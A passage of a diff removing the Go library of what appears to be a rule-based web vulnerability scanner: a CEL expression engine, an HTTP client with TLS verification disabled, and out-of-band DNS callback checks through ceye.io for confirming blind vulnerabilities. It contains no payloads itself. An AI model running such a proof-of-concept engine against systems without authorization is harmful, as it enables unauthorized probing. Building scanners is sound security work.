req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
|
||||||
|
|
||||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
|
||||||
newRequest.Header = oReq.Header.Clone()
|
|
||||||
for k, v := range rule.Headers {
|
|
||||||
newRequest.Header.Set(k, v)
|
|
||||||
}
|
|
||||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap["response"] = resp
|
|
||||||
// 先判断响应页面是否匹配search规则
|
|
||||||
if rule.Search != "" {
|
|
||||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
|
||||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
|
||||||
for k, v := range result {
|
|
||||||
variableMap[k] = v
|
|
||||||
}
|
|
||||||
//return false, nil
|
|
||||||
} else {
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
|
||||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
|
||||||
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
|
||||||
break
|
|
||||||
}
|
|
||||||
success = true
|
|
||||||
}
|
|
||||||
return success, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func doSearch(re string, body string) map[string]string {
|
|
||||||
r, err := regexp.Compile(re)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
result := r.FindStringSubmatch(body)
|
|
||||||
names := r.SubexpNames()
|
|
||||||
if len(result) > 1 && len(names) > 1 {
|
|
||||||
paramsMap := make(map[string]string)
|
|
||||||
for i, name := range names {
|
|
||||||
if i > 0 && i <= len(result) {
|
|
||||||
paramsMap[name] = result[i]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return paramsMap
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func newReverse() *Reverse {
|
|
||||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
|
||||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
|
||||||
sub := RandomStr(randSource, letters, 8)
|
|
||||||
if ceyeDomain == "" {
|
|
||||||
return &Reverse{}
|
|
||||||
}
|
|
||||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
|
||||||
u, _ := url.Parse(urlStr)
|
|
||||||
return &Reverse{
|
|
||||||
Url: ParseUrl(u),
|
|
||||||
Domain: u.Hostname(),
|
|
||||||
Ip: "",
|
|
||||||
IsDomainNameServer: false,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,469 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"crypto/md5"
|
|
||||||
"encoding/base64"
|
|
||||||
"fmt"
|
|
||||||
"github.com/google/cel-go/cel"
|
|
||||||
"github.com/google/cel-go/checker/decls"
|
|
||||||
"github.com/google/cel-go/common/types"
|
|
||||||
"github.com/google/cel-go/common/types/ref"
|
|
||||||
"github.com/google/cel-go/interpreter/functions"
|
|
||||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
|
||||||
"math/rand"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"regexp"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
|
||||||
return cel.NewEnv(cel.Lib(c))
|
|
||||||
}
|
|
||||||
|
|
||||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
|
||||||
ast, iss := env.Compile(expression)
|
|
||||||
if iss.Err() != nil {
|
|
||||||
//fmt.Println("compile: ", iss.Err())
|
|
||||||
return nil, iss.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
prg, err := env.Program(ast)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println("Program creation error: %v", err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
out, _, err := prg.Eval(params)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println("Evaluation error: %v", err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return out, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func UrlTypeToString(u *UrlType) string {
|
|
||||||
var buf strings.Builder
|
|
||||||
if u.Scheme != "" {
|
|
||||||
buf.WriteString(u.Scheme)
|
|
||||||
buf.WriteByte(':')
|
|
||||||
}
|
|
||||||
if u.Scheme != "" || u.Host != "" {
|
|
||||||
if u.Host != "" || u.Path != "" {
|
|
||||||
buf.WriteString("//")
|
|
||||||
}
|
|
||||||
if h := u.Host; h != "" {
|
|
||||||
buf.WriteString(u.Host)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
path := u.Path
|
|
||||||
if path != "" && path[0] != '/' && u.Host != "" {
|
|
||||||
buf.WriteByte('/')
|
|
||||||
}
|
|
||||||
if buf.Len() == 0 {
|
|
||||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
|
||||||
buf.WriteString("./")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
buf.WriteString(path)
|
|
||||||
|
|
||||||
if u.Query != "" {
|
|
||||||
buf.WriteByte('?')
|
|
||||||
buf.WriteString(u.Query)
|
|
||||||
}
|
|
||||||
if u.Fragment != "" {
|
|
||||||
buf.WriteByte('#')
|
|
||||||
buf.WriteString(u.Fragment)
|
|
||||||
}
|
|
||||||
return buf.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
type CustomLib struct {
|
|
||||||
envOptions []cel.EnvOption
|
|
||||||
programOptions []cel.ProgramOption
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewEnvOption() CustomLib {
|
|
||||||
c := CustomLib{}
|
|
||||||
|
|
||||||
c.envOptions = []cel.EnvOption{
|
|
||||||
cel.Container("lib"),
|
|
||||||
cel.Types(
|
|
||||||
&UrlType{},
|
|
||||||
&Request{},
|
|
||||||
&Response{},
|
|
||||||
&Reverse{},
|
|
||||||
),
|
|
||||||
cel.Declarations(
|
|
||||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
|
||||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
|
||||||
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
|
||||||
),
|
|
||||||
cel.Declarations(
|
|
||||||
// functions
|
|
||||||
decls.NewFunction("bcontains",
|
|
||||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("bmatches",
|
|
||||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
|
||||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("md5",
|
|
||||||
decls.NewOverload("md5_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("randomInt",
|
|
||||||
decls.NewOverload("randomInt_int_int",
|
|
||||||
[]*exprpb.Type{decls.Int, decls.Int},
|
|
||||||
decls.Int)),
|
|
||||||
decls.NewFunction("randomLowercase",
|
|
||||||
decls.NewOverload("randomLowercase_int",
|
|
||||||
[]*exprpb.Type{decls.Int},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64",
|
|
||||||
decls.NewOverload("base64_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64",
|
|
||||||
decls.NewOverload("base64_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64Decode",
|
|
||||||
decls.NewOverload("base64Decode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64Decode",
|
|
||||||
decls.NewOverload("base64Decode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urlencode",
|
|
||||||
decls.NewOverload("urlencode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urlencode",
|
|
||||||
decls.NewOverload("urlencode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urldecode",
|
|
||||||
decls.NewOverload("urldecode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urldecode",
|
|
||||||
decls.NewOverload("urldecode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("substr",
|
|
||||||
decls.NewOverload("substr_string_int_int",
|
|
||||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("wait",
|
|
||||||
decls.NewInstanceOverload("reverse_wait_int",
|
|
||||||
[]*exprpb.Type{decls.Any, decls.Int},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("icontains",
|
|
||||||
decls.NewInstanceOverload("icontains_string",
|
|
||||||
[]*exprpb.Type{decls.String, decls.String},
|
|
||||||
decls.Bool)),
|
|
||||||
),
|
|
||||||
}
|
|
||||||
c.programOptions = []cel.ProgramOption{
|
|
||||||
cel.Functions(
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "bytes_bcontains_bytes",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
|
||||||
}
|
|
||||||
return types.Bool(bytes.Contains(v1, v2))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "string_bmatch_bytes",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
|
||||||
}
|
|
||||||
ok, err := regexp.Match(string(v1), v2)
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.Bool(ok)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "md5_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "randomInt_int_int",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
from, ok := lhs.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
|
||||||
}
|
|
||||||
to, ok := rhs.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
|
||||||
}
|
|
||||||
min, max := int(from), int(to)
|
|
||||||
return types.Int(rand.Intn(max-min) + min)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "randomLowercase_int",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
n, ok := value.(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(randomLowercase(int(n)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64Decode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
|
||||||
}
|
|
||||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeBytes)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "base64Decode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeBytes)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urlencode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(url.QueryEscape(string(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urlencode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
return types.String(url.QueryEscape(string(v)))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urldecode_string",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
|
||||||
}
|
|
||||||
decodeString, err := url.QueryUnescape(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeString)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "urldecode_bytes",
|
|
||||||
Unary: func(value ref.Val) ref.Val {
|
|
||||||
v, ok := value.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
|
||||||
}
|
|
||||||
decodeString, err := url.QueryUnescape(string(v))
|
|
||||||
if err != nil {
|
|
||||||
return types.NewErr("%v", err)
|
|
||||||
}
|
|
||||||
return types.String(decodeString)
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "substr_string_int_int",
|
|
||||||
Function: func(values ...ref.Val) ref.Val {
|
|
||||||
if len(values) == 3 {
|
|
||||||
str, ok := values[0].(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid string to 'substr'")
|
|
||||||
}
|
|
||||||
start, ok := values[1].(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid start to 'substr'")
|
|
||||||
}
|
|
||||||
length, ok := values[2].(types.Int)
|
|
||||||
if !ok {
|
|
||||||
return types.NewErr("invalid length to 'substr'")
|
|
||||||
}
|
|
||||||
runes := []rune(str)
|
|
||||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
|
||||||
return types.NewErr("invalid start or length to 'substr'")
|
|
||||||
}
|
|
||||||
return types.String(runes[start : start+length])
|
|
||||||
} else {
|
|
||||||
return types.NewErr("too many arguments to 'substr'")
|
|
||||||
}
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "reverse_wait_int",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
reverse, ok := lhs.Value().(*Reverse)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
|
||||||
}
|
|
||||||
timeout, ok := rhs.Value().(int64)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
|
||||||
}
|
|
||||||
return types.Bool(reverseCheck(reverse, timeout))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "icontains_string",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
|
||||||
}
|
|
||||||
// 不区分大小写包含
|
|
||||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
),
|
|
||||||
}
|
|
||||||
return c
|
|
||||||
}
|
|
||||||
|
|
||||||
// 声明环境中的变量类型和函数
|
|
||||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
|
||||||
return c.envOptions
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
|
||||||
return c.programOptions
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
|
||||||
for k, v := range args {
|
|
||||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
|
||||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
|
||||||
var d *exprpb.Decl
|
|
||||||
if strings.HasPrefix(v, "randomInt") {
|
|
||||||
d = decls.NewIdent(k, decls.Int, nil)
|
|
||||||
} else if strings.HasPrefix(v, "newReverse") {
|
|
||||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
|
||||||
} else {
|
|
||||||
d = decls.NewIdent(k, decls.String, nil)
|
|
||||||
}
|
|
||||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func randomLowercase(n int) string {
|
|
||||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
|
||||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
|
||||||
return RandomStr(randSource, lowercase, n)
|
|
||||||
}
|
|
||||||
|
|
||||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
|
||||||
if ceyeApi == "" || r.Domain == "" {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
time.Sleep(time.Second * time.Duration(timeout))
|
|
||||||
sub := strings.Split(r.Domain, ".")[0]
|
|
||||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
|
||||||
fmt.Println(urlStr)
|
|
||||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
|
||||||
resp, err := DoRequest(req, false)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
|
||||||
const (
|
|
||||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
|
||||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
|
||||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
|
||||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
||||||
)
|
|
||||||
randBytes := make([]byte, n)
|
|
||||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
|
||||||
if remain == 0 {
|
|
||||||
cache, remain = randSource.Int63(), letterIdxMax
|
|
||||||
}
|
|
||||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
|
||||||
randBytes[i] = letterBytes[idx]
|
|
||||||
i--
|
|
||||||
}
|
|
||||||
cache >>= letterIdxBits
|
|
||||||
remain--
|
|
||||||
}
|
|
||||||
return string(randBytes)
|
|
||||||
}
|
|
||||||
@@ -1,171 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"compress/gzip"
|
|
||||||
"crypto/tls"
|
|
||||||
"io"
|
|
||||||
"io/ioutil"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"strconv"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
client *http.Client
|
|
||||||
clientNoRedirect *http.Client
|
|
||||||
dialTimout = 5 * time.Second
|
|
||||||
keepAlive = 15 * time.Second
|
|
||||||
)
|
|
||||||
|
|
||||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
|
||||||
dialer := &net.Dialer{
|
|
||||||
Timeout: dialTimout,
|
|
||||||
KeepAlive: keepAlive,
|
|
||||||
}
|
|
||||||
|
|
||||||
tr := &http.Transport{
|
|
||||||
DialContext: dialer.DialContext,
|
|
||||||
//MaxConnsPerHost: 0,
|
|
||||||
MaxIdleConns: 1000,
|
|
||||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
|
||||||
IdleConnTimeout: keepAlive,
|
|
||||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
|
||||||
TLSHandshakeTimeout: 5 * time.Second,
|
|
||||||
DisableKeepAlives: false,
|
|
||||||
}
|
|
||||||
if DownProxy != "" {
|
|
||||||
u, err := url.Parse(DownProxy)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
tr.Proxy = http.ProxyURL(u)
|
|
||||||
}
|
|
||||||
|
|
||||||
client = &http.Client{
|
|
||||||
Transport: tr,
|
|
||||||
Timeout: Timeout,
|
|
||||||
}
|
|
||||||
clientNoRedirect = &http.Client{
|
|
||||||
Transport: tr,
|
|
||||||
Timeout: Timeout,
|
|
||||||
}
|
|
||||||
clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
|
||||||
return http.ErrUseLastResponse
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
|
||||||
if req.Body == nil || req.Body == http.NoBody {
|
|
||||||
} else {
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
|
||||||
if req.Header.Get("Content-Type") == "" {
|
|
||||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var oResp *http.Response
|
|
||||||
var err error
|
|
||||||
if redirect {
|
|
||||||
oResp, err = client.Do(req)
|
|
||||||
} else {
|
|
||||||
oResp, err = clientNoRedirect.Do(req)
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer oResp.Body.Close()
|
|
||||||
resp, err := ParseResponse(oResp)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return resp, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseUrl(u *url.URL) *UrlType {
|
|
||||||
nu := &UrlType{}
|
|
||||||
nu.Scheme = u.Scheme
|
|
||||||
nu.Domain = u.Hostname()
|
|
||||||
nu.Host = u.Host
|
|
||||||
nu.Port = u.Port()
|
|
||||||
nu.Path = u.EscapedPath()
|
|
||||||
nu.Query = u.RawQuery
|
|
||||||
nu.Fragment = u.Fragment
|
|
||||||
return nu
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
|
||||||
req := &Request{}
|
|
||||||
req.Method = oReq.Method
|
|
||||||
req.Url = ParseUrl(oReq.URL)
|
|
||||||
header := make(map[string]string)
|
|
||||||
for k := range oReq.Header {
|
|
||||||
header[k] = oReq.Header.Get(k)
|
|
||||||
}
|
|
||||||
req.Headers = header
|
|
||||||
req.ContentType = oReq.Header.Get("Content-Type")
|
|
||||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
|
||||||
} else {
|
|
||||||
data, err := ioutil.ReadAll(oReq.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
req.Body = data
|
|
||||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
|
||||||
}
|
|
||||||
return req, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
|
||||||
var resp Response
|
|
||||||
header := make(map[string]string)
|
|
||||||
resp.Status = int32(oResp.StatusCode)
|
|
||||||
resp.Url = ParseUrl(oResp.Request.URL)
|
|
||||||
for k := range oResp.Header {
|
|
||||||
header[k] = oResp.Header.Get(k)
|
|
||||||
}
|
|
||||||
resp.Headers = header
|
|
||||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
|
||||||
body, err := getRespBody(oResp)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
resp.Body = body
|
|
||||||
return &resp, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
|
||||||
var body []byte
|
|
||||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
|
||||||
gr, err := gzip.NewReader(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
defer gr.Close()
|
|
||||||
for {
|
|
||||||
buf := make([]byte, 1024)
|
|
||||||
n, err := gr.Read(buf)
|
|
||||||
if err != nil && err != io.EOF {
|
|
||||||
//utils.Logger.Error(err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
if n == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
body = append(body, buf...)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
raw, err := ioutil.ReadAll(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
//utils.Logger.Error(err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer oResp.Body.Close()
|
|
||||||
body = raw
|
|
||||||
}
|
|
||||||
return body, nil
|
|
||||||
}
|
|
||||||
@@ -1,354 +0,0 @@
|
|||||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
|
||||||
// source: http.proto
|
|
||||||
|
|
||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
fmt "fmt"
|
|
||||||
proto "github.com/golang/protobuf/proto"
|
|
||||||
math "math"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Reference imports to suppress errors if they are not otherwise used.
|
|
||||||
var _ = proto.Marshal
|
|
||||||
var _ = fmt.Errorf
|
|
||||||
var _ = math.Inf
|
|
||||||
|
|
||||||
// This is a compile-time assertion to ensure that this generated file
|
|
||||||
// is compatible with the proto package it is being compiled against.
|
|
||||||
// A compilation error at this line likely means your copy of the
|
|
||||||
// proto package needs to be updated.
|
|
||||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
|
||||||
|
|
||||||
type UrlType struct {
|
|
||||||
